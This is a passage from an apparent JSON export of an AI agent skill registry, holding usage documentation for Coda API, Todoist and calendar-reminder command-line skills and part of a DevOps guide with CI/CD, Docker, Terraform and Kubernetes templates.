intent.\n---\n\n# Coda API Skill\n\nInteract with the Coda REST API v1 to manage docs, tables, rows, pages, and automations.\n\n## When to Use\n\nUse this skill when the user wants to:\n- List, search, create, or delete Coda docs\n- Read from or write to tables (insert, upsert, update, delete rows)\n- Explore doc structure (pages, tables, columns, formulas, controls)\n- Trigger automations (push buttons)\n- Export doc content or analytics\n\n## When NOT to Use\n\n- **Do NOT use** for general document editing advice unrelated to the API\n- **Do NOT use** for Pack development (this skill covers Doc management, not Pack creation)\n- **Do NOT use** for operations requiring Doc Maker permissions unless confirmed the user has them\n\n## Prerequisites\n\n1. **API Token**: Set environment variable `CODA_API_TOKEN` with your Coda API token\n - Get token at: https://coda.io/account -> API Settings\n2. **Python 3.7+** with `requests` library installed\n3. **Permissions**: Some operations (create doc, update doc title, create page) require Doc Maker role in the workspace\n\n## CLI Tool Usage\n\nThe skill includes a Python CLI tool at `scripts/coda_cli.py`:\n\n```bash\n# Setup\nexport CODA_API_TOKEN=\"your_token_here\"\n\n# List docs\npython scripts/coda_cli.py docs list --query \"Project\"\n\n# Get doc info\npython scripts/coda_cli.py docs get <doc-id>\n\n# Create doc\npython scripts/coda_cli.py docs create --title \"My New Doc\"\n\n# List tables in doc\npython scripts/coda_cli.py tables list <doc-id>\n\n# List rows in table\npython scripts/coda_cli.py rows list <doc-id> <table-id>\n\n# Insert row\npython scripts/coda_cli.py rows insert <doc-id> <table-id> --data '{\"Name\": \"Task 1\", \"Status\": \"Done\"}'\n\n# Update row\npython scripts/coda_cli.py rows update <doc-id> <table-id> <row-id> --data '{\"Status\": \"In Progress\"}'\n\n# Delete row (requires confirmation)\npython scripts/coda_cli.py rows delete <doc-id> <table-id> <row-id>\n\n# List pages\npython scripts/coda_cli.py pages list <doc-id>\n\n# Trigger automation (push button)\npython scripts/coda_cli.py automations trigger <doc-id> <button-id>\n\n# Force delete without confirmation (use with caution)\npython scripts/coda_cli.py docs delete <doc-id> --force\n```\n\n## Workflow Guidelines\n\n### 1. Doc ID Extraction\nCoda doc IDs can be extracted from browser URLs:\n- URL: `https://coda.io/d/_dAbCDeFGH/Project-Tracker`\n- Doc ID: `AbCDeFGH` (remove `_d` prefix)\n\nThe CLI tool accepts both full URLs and raw IDs.\n\n### 2. Rate Limit Handling\nThe API has strict rate limits:\n- **Read**: 100 requests per 6 seconds\n- **Write (POST/PUT/PATCH)**: 10 requests per 6 seconds\n- **Write doc content**: 5 requests per 10 seconds\n- **List docs**: 4 requests per 6 seconds\n\nThe CLI tool automatically implements exponential backoff for 429 responses.\n\n### 3. Asynchronous Operations\nWrite operations return HTTP 202 with a `requestId`. The CLI tool optionally polls for completion using `--wait` flag.\n\n### 4. Safety Guardrails\n\n**Delete Operations** (rows, docs, pages, folders):\n- Always requires explicit user confirmation in interactive mode\n- Use `--force` flag only in automation/scripts\n- Shows preview of what will be deleted\n\n**Publishing** (`docs publish`):\n- Requires explicit `--confirm-publish` flag\n- Cannot be combined with `--force`\n\n**Permissions** (`acl` commands):\n- Requires explicit `--confirm-permissions` flag for any changes\n- Read operations (list permissions) are always allowed\n\n**Automation Triggers**:\n- Allowed without special flags but logged\n- User should be aware that automations may trigger notifications or external actions\n\n### 5. Pagination\nList commands support:\n- `--limit`: Maximum results (default 25, max varies by endpoint)\n- `--page-token`: For fetching subsequent pages\n- CLI auto-follows pages with `--all` flag\n\n## Common Patterns\n\n### Batch Row Operations\n```bash\n# Insert multiple rows from JSON file\npython scripts/coda_cli.py rows insert-batch <doc-id> <table-id> --file rows.json\n\n# Upsert rows (update if exists, insert if not) using key columns\npython scripts/coda_cli.py rows upsert <doc-id> <table-id> --file rows.json --keys \"Email\"\n```\n\n### Sync Between Docs\n```bash\n# Export from source\npython scripts/coda_cli.py rows list <source-doc> <table-id> --format json > export.json\n\n# Import to destination\npython scripts/coda_cli.py rows insert-batch <dest-doc> <table-id> --file export.json\n```\n\n### Explore Structure\n```bash\n# Get full doc structure\npython scripts/coda_cli.py docs structure <doc-id>\n\n# List all formulas\npython scripts/coda_cli.py formulas list <doc-id>\n\n# List all controls\npython scripts/coda_cli.py controls list <doc-id>\n```\n\n## Error Handling\n\nCommon HTTP status codes:\n- `400`: Bad request (invalid parameters)\n- `401`: Invalid/expired API token\n- `403`: Insufficient permissions (need Doc Maker role)\n- `404`: Resource not found\n- `429`: Rate limited (implement backoff)\n- `202`: Accepted but not yet processed (async operation)\n\n## Security Considerations\n\n1. **Token Storage**: Never commit `CODA_API_TOKEN` to version control\n2. **Token Scope**: The token has full access to all docs the user can access\n3. **Workspace Restrictions**: Creating docs requires Doc Maker role in target workspace\n4. **Data Exposure**: Row data may contain sensitive information; handle exports carefully\n\n## Examples\n\n### List and Filter Docs\n```bash\npython scripts/coda_cli.py docs list --is-owner --query \"Project\"\n```\n\n### Create Doc from Template\n```bash\npython scripts/coda_cli.py docs create --title \"Q4 Planning\" --source-doc \"template-doc-id\"\n```\n\n### Update Row Status\n```bash\npython scripts/coda_cli.py rows update AbCDeFGH grid-xyz row-123 \\\n --data '{\"Status\": \"Complete\", \"Completed Date\": \"2024-01-15\"}'\n```\n\n### Delete Multiple Rows (with confirmation)\n```bash\npython scripts/coda_cli.py rows delete-batch AbCDeFGH grid-xyz \\\n --filter '{\"Status\": \"Archived\"}' \\\n --confirm \"Delete all archived rows?\"\n```\n\n### Export Table to CSV\n```bash\npython scripts/coda_cli.py rows list AbCDeFGH grid-xyz --format csv > export.csv\n```\n\n## Reference\n\n- API Documentation: https://coda.io/developers/apis/v1\n- OpenAPI Spec: https://coda.io/apis/v1/openapi.yaml\n- Rate Limits: https://coda.io/developers/apis/v1#section/Rate-Limiting\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/0x7466/coda/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/0x7466/coda/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/0x7466/coda/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/0x7466/coda/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/0x7466/coda/SKILL.md", "importedAt": "2026-02-18T19:24:20.618Z"}}}}, {"slug": "clawhub-todoist-task-manager", "name": "Todoist CLI", "category": "Automation", "description": "Use todoist to manage Todoist tasks directly from the terminal.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Todoist CLI", "slug": "clawhub-todoist-task-manager", "version": "1.0.0", "description": "--- name: todoist description: Manage Todoist tasks via the `todoist` CLI (list, add, modify, complete, delete). Supports filters, projects, labels, and priorities. homepage: https://github.com/sachaos/todoist metadata: {\"clawdbot\":{\"emoji\":\"\u2705\",\"requires\":{\"bins\":[\"todoist\"]},\"install\":[{\"id\":\"brew\",\"kind\":\"brew\",\"formula\":\"todoist-cli\",\"bins\":[\"todoist\"],\"label\":\"Install todoist-cli via Homebrew\"}]}} ---", "documentation_md": "---\nname: todoist\ndescription: Manage Todoist tasks via the `todoist` CLI (list, add, modify, complete, delete). Supports filters, projects, labels, and priorities.\nhomepage: https://github.com/sachaos/todoist\nmetadata: {\"clawdbot\":{\"emoji\":\"\u2705\",\"requires\":{\"bins\":[\"todoist\"]},\"install\":[{\"id\":\"brew\",\"kind\":\"brew\",\"formula\":\"todoist-cli\",\"bins\":[\"todoist\"],\"label\":\"Install todoist-cli via Homebrew\"}]}}\n---\n\n# Todoist CLI\n\nUse `todoist` to manage Todoist tasks directly from the terminal.\n\n## Setup\n\n1. Install: `brew install todoist-cli`\n2. Get your API token from https://app.todoist.com/app/settings/integrations/developer\n3. Create config:\n```bash\nmkdir -p ~/.config/todoist\necho '{\"token\": \"YOUR_API_TOKEN\"}' > ~/.config/todoist/config.json\n```\n4. Sync: `todoist sync`\n\n## List Tasks\n\n```bash\ntodoist list # All tasks\ntodoist list --filter \"today\" # Due today\ntodoist list --filter \"overdue\" # Overdue tasks\ntodoist list --filter \"p1\" # Priority 1 (highest)\ntodoist list --filter \"tomorrow\" # Due tomorrow\ntodoist list --filter \"@work\" # By label\ntodoist list --filter \"#Project\" # By project\ntodoist list --filter \"(today | overdue) & p1\" # Combined filters\n```\n\n## Add Tasks\n\n```bash\ntodoist add \"Buy milk\" # Simple task\ntodoist add \"Call mom\" --priority 1 # With priority (1=highest, 4=lowest)\ntodoist add \"Meeting\" --date \"tomorrow 3pm\" # With due date\ntodoist add \"Report\" --project-name \"Work\" # To specific project\ntodoist add \"Review\" --label-names \"urgent,review\" # With labels\ntodoist quick \"Buy eggs tomorrow p1 #Shopping @errands\" # Natural language\n```\n\n## Modify Tasks\n\n```bash\ntodoist modify TASK_ID --content \"New title\"\ntodoist modify TASK_ID --priority 2\ntodoist modify TASK_ID --date \"next monday\"\n```\n\n## Complete Tasks\n\n```bash\ntodoist close TASK_ID # Complete a task\ntodoist close TASK_ID TASK_ID2 # Complete multiple tasks\n```\n\n## Delete Tasks\n\n```bash\ntodoist delete TASK_ID\n```\n\n## View Details\n\n```bash\ntodoist show TASK_ID # Show task details\ntodoist projects # List all projects\ntodoist labels # List all labels\n```\n\n## Sync\n\n```bash\ntodoist sync # Sync local cache with Todoist\n```\n\n## Output Formats\n\n```bash\ntodoist list --csv # CSV output for scripting\ntodoist list --color # Colorized output\ntodoist list --namespace # Show parent tasks as namespace\ntodoist list --indent # Indent subtasks\n```\n\n## Filter Syntax\n\nTodoist CLI supports the [official Todoist filter syntax](https://todoist.com/help/articles/introduction-to-filters-V98wIH):\n\n| Filter | Description |\n|--------|-------------|\n| `today` | Due today |\n| `tomorrow` | Due tomorrow |\n| `overdue` | Past due date |\n| `no date` | No due date |\n| `p1`, `p2`, `p3`, `p4` | Priority level |\n| `@label` | By label |\n| `#Project` | By project |\n| `assigned to: me` | Assigned to you |\n| `7 days` | Due in next 7 days |\n\nCombine with `&` (and), `|` (or), `!` (not):\n```bash\ntodoist list --filter \"(today | overdue) & p1\"\ntodoist list --filter \"#Work & !@done\"\n```\n\n## Notes\n\n- Run `todoist sync` after making changes in the web/mobile app\n- Task IDs are numeric (e.g., `12345678`)\n- Config stored in `~/.config/todoist/config.json`\n- Cache stored in `~/.config/todoist/cache.json`\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/2mawi2/todoist-task-manager/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/2mawi2/todoist-task-manager/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/2mawi2/todoist-task-manager/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/2mawi2/todoist-task-manager/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/2mawi2/todoist-task-manager/SKILL.md", "importedAt": "2026-02-18T19:24:20.942Z"}}}}, {"slug": "clawhub-calendar-reminders", "name": "gcalcli calendar wrapper + reminder planner", "category": "Automation", "description": "Copy the example config to a private location and edit it:", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "gcalcli calendar wrapper + reminder planner", "slug": "clawhub-calendar-reminders", "version": "1.0.0", "description": "--- name: calendar-reminders description: Calendar reminders pipeline: config-driven wrapper around gcalcli (Google Calendar) plus optional CalDAV source via vdirsyncer+khal, and a reminder planner that outputs a JSON plan for one-shot OpenClaw reminders. ---", "documentation_md": "---\nname: calendar-reminders\ndescription: Calendar reminders pipeline: config-driven wrapper around gcalcli (Google Calendar) plus optional CalDAV source via vdirsyncer+khal, and a reminder planner that outputs a JSON plan for one-shot OpenClaw reminders.\n---\n\n# gcalcli calendar wrapper + reminder planner\n\nThis skill provides:\n- `scripts/calendar` \u2014 wrapper around `gcalcli`\n- `scripts/calendar_reminder_plan.py` \u2014 produces a JSON plan for reminder scheduling\n- `references/openclaw-calendar.example.json` \u2014 example config format\n\n## Config\n\nCopy the example config to a private location and edit it:\n\n- Default path: `~/.config/openclaw/calendar.json`\n- Override with env: `OPENCLAW_CALENDAR_CONFIG=/path/to/calendar.json`\n\n## Requirements\n\n- Required: `python3`, `gcalcli`\n- Optional (for CalDAV/iCloud): `vdirsyncer`, `khal`\n\n## Auth (Google)\n\n`gcalcli` requires OAuth. On headless servers you may need SSH port-forwarding.\nThe wrapper uses `--noauth_local_server` to print instructions.\n\n## Reminder planning\n\nThe planner outputs a JSON blob describing reminders to schedule. A separate cron job\n(or an agent turn) can read it and create one-shot OpenClaw reminders.\n\nDefaults:\n- Ignore birthdays.\n- Timed events are considered important.\n- All-day events only trigger reminders if their title matches configured keywords.\n\n## Wiring a daily reminder scheduler (OpenClaw)\n\nCreate a daily cron job (e.g. 00:05 local time) that:\n\n1) If CalDAV is enabled in config, runs the configured `vdirsyncer` sync command.\n2) Runs `scripts/calendar_reminder_plan.py` to get a JSON plan.\n3) For each planned reminder, creates a one-shot OpenClaw `systemEvent` reminder at `reminderAtUtc`.\n4) Writes a small state file so you don\u2019t schedule duplicates.\n\n(Our skill intentionally provides the wrapper + planner; scheduling is left to your cron/agent wiring.)\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/adorostkar/calendar-reminders/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/adorostkar/calendar-reminders/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/adorostkar/calendar-reminders/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/adorostkar/calendar-reminders/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/adorostkar/calendar-reminders/SKILL.md", "importedAt": "2026-02-18T19:24:21.154Z"}}}}, {"slug": "clawhub-afrexai-devops-engine", "name": "DevOps & Platform Engineering Engine", "category": "Automation", "description": "Complete system for building, deploying, operating, and observing production software. Covers the entire DevOps lifecycle \u2014 not just CI/CD, not jus...", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "DevOps & Platform Engineering Engine", "slug": "clawhub-afrexai-devops-engine", "version": "1.0.0", "description": "--- name: afrexai-devops-engine description: Complete DevOps & Platform Engineering system. CI/CD pipelines, infrastructure as code, container orchestration, observability, incident response, and SRE practices \u2014 all platforms, all clouds. metadata: {\"clawdbot\":{\"emoji\":\"\ud83d\udd27\",\"os\":[\"linux\",\"darwin\",\"win32\"]}} ---", "documentation_md": "---\nname: afrexai-devops-engine\ndescription: Complete DevOps & Platform Engineering system. CI/CD pipelines, infrastructure as code, container orchestration, observability, incident response, and SRE practices \u2014 all platforms, all clouds.\nmetadata: {\"clawdbot\":{\"emoji\":\"\ud83d\udd27\",\"os\":[\"linux\",\"darwin\",\"win32\"]}}\n---\n\n# DevOps & Platform Engineering Engine\n\nComplete system for building, deploying, operating, and observing production software. Covers the entire DevOps lifecycle \u2014 not just CI/CD, not just one cloud.\n\n## Phase 1: Repository & Branch Strategy\n\n### Git Flow Decision Matrix\n\n| Team Size | Release Cadence | Strategy | Branches |\n|-----------|----------------|----------|----------|\n| 1-3 | Continuous | Trunk-based | main + short-lived feature/ |\n| 4-15 | Weekly/biweekly | GitHub Flow | main + feature/ + PR |\n| 15+ | Scheduled releases | Git Flow | main + develop + feature/ + release/ + hotfix/ |\n| Regulated | Audited releases | Git Flow + tags | Above + signed tags + audit trail |\n\n### Branch Protection Rules (Apply These)\n\n```yaml\n# branch-protection.yml \u2014 document your rules\nmain:\n required_reviews: 2\n dismiss_stale_reviews: true\n require_codeowners: true\n require_status_checks:\n - ci/test\n - ci/lint\n - ci/security\n require_linear_history: true # No merge commits\n restrict_pushes: true # Only via PR\n require_signed_commits: false # Enable for regulated\n\ndevelop:\n required_reviews: 1\n require_status_checks:\n - ci/test\n```\n\n### Commit Convention\n\nFormat: `<type>(<scope>): <description>`\n\nTypes: `feat`, `fix`, `docs`, `style`, `refactor`, `perf`, `test`, `build`, `ci`, `chore`\n\nBreaking changes: `feat!: remove legacy API` or footer `BREAKING CHANGE: description`\n\nEnforce with commitlint + husky (Node) or pre-commit hooks.\n\n## Phase 2: CI/CD Pipeline Architecture\n\n### Pipeline Design Principles\n\n1. **Build once, deploy everywhere** \u2014 same artifact through dev\u2192staging\u2192prod\n2. **Fail fast** \u2014 cheapest checks first (lint\u2192unit\u2192integration\u2192e2e)\n3. **Hermetic builds** \u2014 no external state, reproducible from commit SHA\n4. **Immutable artifacts** \u2014 never modify after build; tag with git SHA\n5. **Parallelise independent stages** \u2014 test/lint/security scan simultaneously\n\n### Universal Pipeline Template\n\n```yaml\n# pipeline-stages.yml \u2014 adapt to your CI system\nstages:\n # Stage 1: Quality Gate (parallel, <2 min)\n lint:\n run: lint\n parallel: true\n timeout: 2m\n typecheck:\n run: tsc --noEmit\n parallel: true\n timeout: 2m\n security_scan:\n run: trivy, snyk, or semgrep\n parallel: true\n timeout: 3m\n\n # Stage 2: Test (parallel by type, <10 min)\n unit_tests:\n run: test --unit\n parallel: true\n coverage_threshold: 80%\n timeout: 5m\n integration_tests:\n run: test --integration\n parallel: true\n needs: [database_service]\n timeout: 10m\n\n # Stage 3: Build (<5 min)\n build:\n needs: [lint, typecheck, unit_tests]\n outputs: [docker_image, release_artifact]\n tag: \"${GIT_SHA}\"\n cache: [node_modules, .next/cache, target/]\n\n # Stage 4: Deploy Staging (auto)\n deploy_staging:\n needs: [build]\n environment: staging\n strategy: rolling\n smoke_test: true\n auto: true\n\n # Stage 5: E2E on Staging (<15 min)\n e2e_tests:\n needs: [deploy_staging]\n timeout: 15m\n retry: 1\n artifacts: [screenshots, videos]\n\n # Stage 6: Deploy Production (manual gate or auto)\n deploy_prod:\n needs: [e2e_tests]\n environment: production\n strategy: canary # or blue-green\n approval: required # manual gate\n rollback_on_failure: true\n monitoring_window: 15m\n```\n\n### CI Platform Cheat Sheet\n\n| Feature | GitHub Actions | GitLab CI | CircleCI | Jenkins |\n|---------|---------------|-----------|----------|---------|\n| Config file | `.github/workflows/*.yml` | `.gitlab-ci.yml` | `.circleci/config.yml` | `Jenkinsfile` |\n| Parallelism | `jobs.<id>` (automatic) | `stages` + `parallel` | `workflows` | `parallel` step |\n| Caching | `actions/cache` | `cache:` key | `save_cache/restore_cache` | Stash/unstash |\n| Secrets | Settings \u2192 Secrets | Settings \u2192 CI/CD \u2192 Variables | Project Settings \u2192 Env | Credentials plugin |\n| Matrix builds | `strategy.matrix` | `parallel:matrix` | `matrix` in workflows | `matrix` in pipeline |\n| Self-hosted | `runs-on: self-hosted` | GitLab Runner | `resource_class` | Default |\n| OIDC/Keyless | `permissions: id-token: write` | `id_tokens:` | OIDC context | Plugin |\n\n### Caching Strategy\n\n```yaml\n# Cache key patterns (ordered by specificity)\ncache_keys:\n # Exact match first\n - \"deps-{{ runner.os }}-{{ hashFiles('**/lockfile') }}\"\n # Partial match fallback\n - \"deps-{{ runner.os }}-\"\n\n# What to cache by stack\nnode: [node_modules, .next/cache, .turbo]\npython: [.venv, .mypy_cache, .pytest_cache]\nrust: [target/, ~/.cargo/registry]\ngo: [~/go/pkg/mod, ~/.cache/go-build]\ndocker: [/tmp/.buildx-cache] # BuildKit layer cache\n```\n\n### GitHub Actions Specific Patterns\n\n```yaml\n# Reusable workflow (DRY across repos)\n# .github/workflows/reusable-deploy.yml\non:\n workflow_call:\n inputs:\n environment:\n required: true\n type: string\n secrets:\n DEPLOY_KEY:\n required: true\n\n# Caller workflow\njobs:\n deploy:\n uses: ./.github/workflows/reusable-deploy.yml\n with:\n environment: production\n secrets: inherit\n```\n\n```yaml\n# Path-based triggers (monorepo)\non:\n push:\n paths:\n - 'packages/api/**'\n - 'shared/**'\n # Skip CI for docs-only changes\n pull_request:\n paths-ignore:\n - '**.md'\n - 'docs/**'\n```\n\n```yaml\n# Concurrency (cancel in-progress on new push)\nconcurrency:\n group: ${{ github.workflow }}-${{ github.ref }}\n cancel-in-progress: true\n```\n\n## Phase 3: Container Strategy\n\n### Dockerfile Best Practices\n\n```dockerfile\n# Multi-stage build template\n# Stage 1: Build\nFROM node:20-alpine AS builder\nWORKDIR /app\nCOPY package.json package-lock.json ./\nRUN npm ci --production=false # Install all deps for build\nCOPY . .\nRUN npm run build\n\n# Stage 2: Production\nFROM node:20-alpine AS production\nRUN addgroup -g 1001 app && adduser -u 1001 -G app -s /bin/sh -D app\nWORKDIR /app\nCOPY --from=builder --chown=app:app /app/dist ./dist\nCOPY --from=builder --chown=app:app /app/node_modules ./node_modules\nCOPY --from=builder --chown=app:app /app/package.json ./\n\nUSER app\nEXPOSE 3000\nHEALTHCHECK --interval=30s --timeout=3s --retries=3 \\\n CMD wget -qO- http://localhost:3000/health || exit 1\nCMD [\"node\", \"dist/index.js\"]\n```\n\n### Image Size Reduction Checklist\n\n- [ ] Use alpine or distroless base images\n- [ ] Multi-stage builds (build deps not in final image)\n- [ ] `.dockerignore` excludes: `.git`, `node_modules`, `*.md`, tests, docs\n- [ ] Combine RUN commands (fewer layers)\n- [ ] Clean package manager cache in same RUN (`rm -rf /var/cache/apk/*`)\n- [ ] No dev dependencies in production stage\n- [ ] Pin base image SHA: `FROM node:20-alpine@sha256:abc123...`\n\n### Container Security Scan\n\n```bash\n# Trivy (recommended \u2014 free, fast)\ntrivy image myapp:latest --severity HIGH,CRITICAL\ntrivy fs . --security-checks vuln,secret,config\n\n# Scan in CI before push\n# Fail pipeline if CRITICAL vulnerabilities found\ntrivy image --exit-code 1 --severity CRITICAL myapp:${GIT_SHA}\n```\n\n### Docker Compose for Local Dev\n\n```yaml\n# docker-compose.yml \u2014 local development stack\nservices:\n app:\n build:\n context: .\n target: builder # Use build stage for hot reload\n volumes:\n - .:/app\n - /app/node_modules # Don't override node_modules\n ports:\n - \"3000:3000\"\n environment:\n - DATABASE_URL=postgres://user:pass@db:5432/app\n - REDIS_URL=redis://cache:6379\n depends_on:\n db:\n condition: service_healthy\n\n db:\n image: postgres:16-alpine\n volumes:\n - pgdata:/var/lib/postgresql/data\n environment:\n POSTGRES_USER: user\n POSTGRES_PASSWORD: pass\n POSTGRES_DB: app\n healthcheck:\n test: [\"CMD-SHELL\", \"pg_isready -U user\"]\n interval: 5s\n timeout: 3s\n retries: 5\n\n cache:\n image: redis:7-alpine\n ports:\n - \"6379:6379\"\n\nvolumes:\n pgdata:\n```\n\n## Phase 4: Infrastructure as Code\n\n### IaC Decision Matrix\n\n| Tool | Best For | State | Language | Learning Curve |\n|------|----------|-------|----------|----------------|\n| Terraform/OpenTofu | Multi-cloud, cloud-agnostic | Remote (S3, GCS) | HCL | Medium |\n| Pulumi | Devs who prefer real code | Remote | TS/Python/Go | Low (if you code) |\n| AWS CDK | AWS-only shops | CloudFormation | TS/Python | Medium |\n| Ansible | Config management, server setup | Stateless | YAML | Low |\n| Helm | Kubernetes deployments | Tiller/OCI | YAML+Go templates | Medium |\n\n### Terraform Project Structure\n\n```\ninfrastructure/\n\u251c\u2500\u2500 modules/ # Reusable components\n\u2502 \u251c\u2500\u2500 vpc/\n\u2502 \u2502 \u251c\u2500\u2500 main.tf\n\u2502 \u2502 \u251c\u2500\u2500 variables.tf\n\u2502 \u2502 \u2514\u2500\u2500 outputs.tf\n\u2502 \u251c\u2500\u2500 ecs-service/\n\u2502 \u2514\u2500\u2500 rds/\n\u251c\u2500\u2500 environments/\n\u2502 \u251c\u2500\u2500 dev/\n\u2502 \u2502 \u251c\u2500\u2500 main.tf # Calls modules with dev params\n\u2502 \u2502 \u251c\u2500\u2500 terraform.tfvars\n\u2502 \u2502 \u2514\u2500\u2500 backend.tf # Dev state bucket\n\u2502 \u251c\u2500\u2500 staging/\n\u2502 \u2514\u2500\u2500 prod/\n\u251c\u2500\u2500 .terraform-version # Pin terraform version\n\u2514\u2500\u2500 .tflint.hcl\n```\n\n### Terraform Safety Rules\n\n1. **Always `plan` before `apply`** \u2014 review every change\n2. **Remote state with locking** \u2014 S3 + DynamoDB or GCS + locking\n3. **State never in git** \u2014 contains secrets (DB passwords, keys)\n4. **Import existing resources** before managing them \u2014 don't recreate\n5. **Use `prevent_destroy`** on critical resources (databases, S3 buckets)\n6. **Tag everything** \u2014 `environment`, `team`, `cost-center`, `managed-by: terraform`\n7. **`terraform fmt`** in CI \u2014 consistent formatting\n\n```hcl\n# backend.tf \u2014 remote state with locking\nterraform {\n backend \"s3\" {\n bucket = \"mycompany-terraform-state\"\n key = \"prod/main.tfstate\"\n region = \"eu-west-1\"\n encrypt = true\n dynamodb_table = \"terraform-locks\"\n }\n}\n\n# Protect critical resources\nresource \"aws_rds_instance\" \"main\" {\n # ...\n lifecycle {\n prevent_destroy = true\n }\n}\n```\n\n### Environment Promotion Pattern\n\n```\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n terraform plan \u2500\u2500\u25ba\u2502 Review in PR \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502 merge\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n auto-apply \u2500\u2500\u2500\u2500\u2500\u2500\u25ba\u2502 Dev \u2502\u2500\u2500\u25ba smoke tests\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502 promote\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n manual approve \u2500\u2500\u25ba\u2502 Staging \u2502\u2500\u2500\u25ba integration tests\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502 promote (manual gate)\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n manual approve \u2500\u2500\u25ba\u2502 Production \u2502\u2500\u2500\u25ba monitoring window\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n## Phase 5: Kubernetes Operations\n\n### K8s Resource Templates\n\n```yaml\n# deployment.yml \u2014 production-ready template\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n name: myapp\n labels:\n app: myapp\n version: \"1.0.0\"\nspec:\n replicas: 3\n strategy:\n type: RollingUpdate\n rollingUpdate:\n maxSurge: 1\n maxUnavailable: 0 # Zero-downtime\n selector:\n matchLabels:\n app: myapp\n template:\n metadata:\n labels:\n app: myapp\n spec:\n securityContext:\n runAsNonRoot: true\n runAsUser: 1000\n containers:\n - name: myapp\n image: myregistry/myapp:abc123 # Git SHA tag\n ports:\n - containerPort: 3000\n resources:\n requests:\n cpu: 100m\n memory: 128Mi\n limits:\n cpu: 500m\n memory: 512Mi\n livenessProbe:\n httpGet:\n path: /health\n port: 3000\n initialDelaySeconds: 10\n periodSeconds: 10\n failureThreshold: 3\n readinessProbe:\n httpGet:\n path: /ready\n port: 3000\n initialDelaySeconds: 5\n periodSeconds: 5\n env:\n - name: DATABASE_URL\n valueFrom:\n secretKeyRef:\n name: myapp-secrets\n key: database-url\n topologySpreadConstraints:\n - maxSkew: 1\n topologyKey: topology.kubernetes.io/zone\n whenUnsatisfiable: DoNotSchedule\n```\n\n```yaml\n# hpa.yml \u2014 autoscaling\napiVersion: autoscaling/v2\nkind: HorizontalPodAutoscaler\nmetadata:\n name: myapp\nspec:\n scaleTargetRef:\n apiVersion: apps/v1\n kind: Deployment\n name: myapp\n minReplicas: 3\n maxReplicas: 20\n metrics:\n - type: Resource\n resource:\n name: cpu\n target:\n type: Utilization\n averageUtilization: 70\n - type: Resource\n resource:\n name: memory\n target:\n type: Utilization\n averageUtilization: 80\n behavior:\n scaleDown:\n stabilizationWindowSeconds: 300 # 5 min cooldown\n policies:\n - type: Pods\n value: 1\n periodSeconds: 60 # Scale down 1 pod per minute max\n```\n\n### Helm Chart Checklist\n\n- [ ] `values.yaml` with sensible defaults (works out of the box)\n- [ ] Resource requests AND limits set\n- [ ] Health/readiness probes defined\n- [ ] PodDisruptionBudget (minAvailable: 1 or maxUnavailable: 25%)\n- [ ] NetworkPolicy (deny all, allow specific)\n- [ ] ServiceAccount (not default)\n- [ ] Secrets via external-secrets-operator or sealed-secrets (not plain)\n- [ ] `helm lint` and `helm template` in CI\n- [ ] NOTES.txt with post-install instructions\n\n### kubectl Cheat Sheet\n\n```bash\n# Debugging\nkubectl get pods -l app=myapp -o wide # Pod status + 